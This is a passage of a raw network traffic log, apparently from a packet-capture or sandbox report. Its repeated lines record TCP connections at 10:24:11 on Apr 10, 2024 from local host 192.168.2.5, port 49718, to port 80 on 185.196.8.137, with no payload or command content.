Apr 10, 2024 10:24:11.278733015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278836012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278836012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278836012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278928995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278928995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.278928995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279041052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279041052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279041052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279138088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279138088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279138088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279243946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279243946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279243946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279340029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279340029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279340029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279439926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279439926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279439926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279541969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279541969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279541969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279649019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279649019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279649019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279745102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279745102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279745102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279845953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279845953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279845953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279946089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279946089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.279946089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280210018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280210018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280476093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280476093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280476093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280603886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280603886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280603886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280694962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280694962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280694962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280802011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280802011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.280802011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281054974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281055927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281130075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281130075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281246901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281246901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281246901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281315088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281327963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281408072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281408072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281593084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281593084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281725883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281725883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281725883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281842947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281842947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281842947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281934023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281934023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.281934023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282036066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282036066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282036066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282099009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282099009 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282206059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282206059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282206059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282295942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282295942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282296896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282356024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282356024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282495975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282495975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282522917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282641888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282641888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282641888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282721043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282721043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282835007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282835007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282835007 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282901049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.282901049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283061981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283061981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283173084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283173084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283173084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283284903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283284903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283284903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283375978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283375978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283375978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283446074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283446074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283469915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283566952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283566952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283567905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283672094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283672094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283672094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283792973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283792973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283792973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283866882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283866882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283982038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283982038 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.283982992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284086943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284086943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284203053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284203053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284203053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284246922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284334898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284334898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284334898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284472942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284472942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284517050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284529924 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284600973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284600973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284697056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284697056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284811974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284811974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284811974 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284899950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284899950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.284949064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285052061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285052061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285052061 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285152912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285152912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285152912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285269976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285269976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285377026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285377026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285514116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285514116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285514116 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285608053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285608053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285631895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285738945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285738945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285809994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285809994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285943985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.285943985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286056042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286056042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286056042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286155939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286155939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286155939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286253929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286253929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286253929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286346912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286346912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286346912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286439896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286439896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286439896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286537886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286537886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286537886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286636114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286636114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286636114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286725044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286725044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286725044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286818027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286818027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286818027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286923885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286923885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.286923885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287019014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287019014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287019014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287118912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287118912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287118912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287211895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287211895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287211895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287306070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287306070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287306070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287410021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287410021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287410021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287561893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287561893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287561893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287674904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287674904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287674904 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287713051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287810087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287810087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287810087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287913084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287913084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.287913084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288068056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288068056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288068056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288202047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288202047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288472891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288472891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288496017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288590908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288590908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288590908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288695097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288695097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288695097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288857937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.288857937 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289015055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289015055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289107084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289107084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289107084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289236069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289236069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289263010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289376020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289376020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289489985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289489985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289489985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289751053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289751053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289844036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289844036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289844036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289935112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289935112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.289935112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290010929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290010929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290180922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290180922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290247917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290247917 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290369034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290369034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290460110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290460110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290460110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290568113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290568113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290631056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290631056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290752888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290752888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290848017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290848017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.290848017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291102886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291102886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291198969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291198969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291198969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291289091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291289091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291289091 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291380882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291380882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291380882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291563034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291563034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291656971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291657925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291657925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291776896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291776896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291804075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291914940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291914940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291980982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.291980982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292103052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292103052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292198896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292198896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292200089 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292238951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292489052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292489052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292511940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292586088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292586088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292599916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292685032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292685032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292685032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292757988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292757988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292905092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292905092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.292967081 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293070078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293071032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293133974 CEST	49718	80	192.168.2.5	185.196.8.137
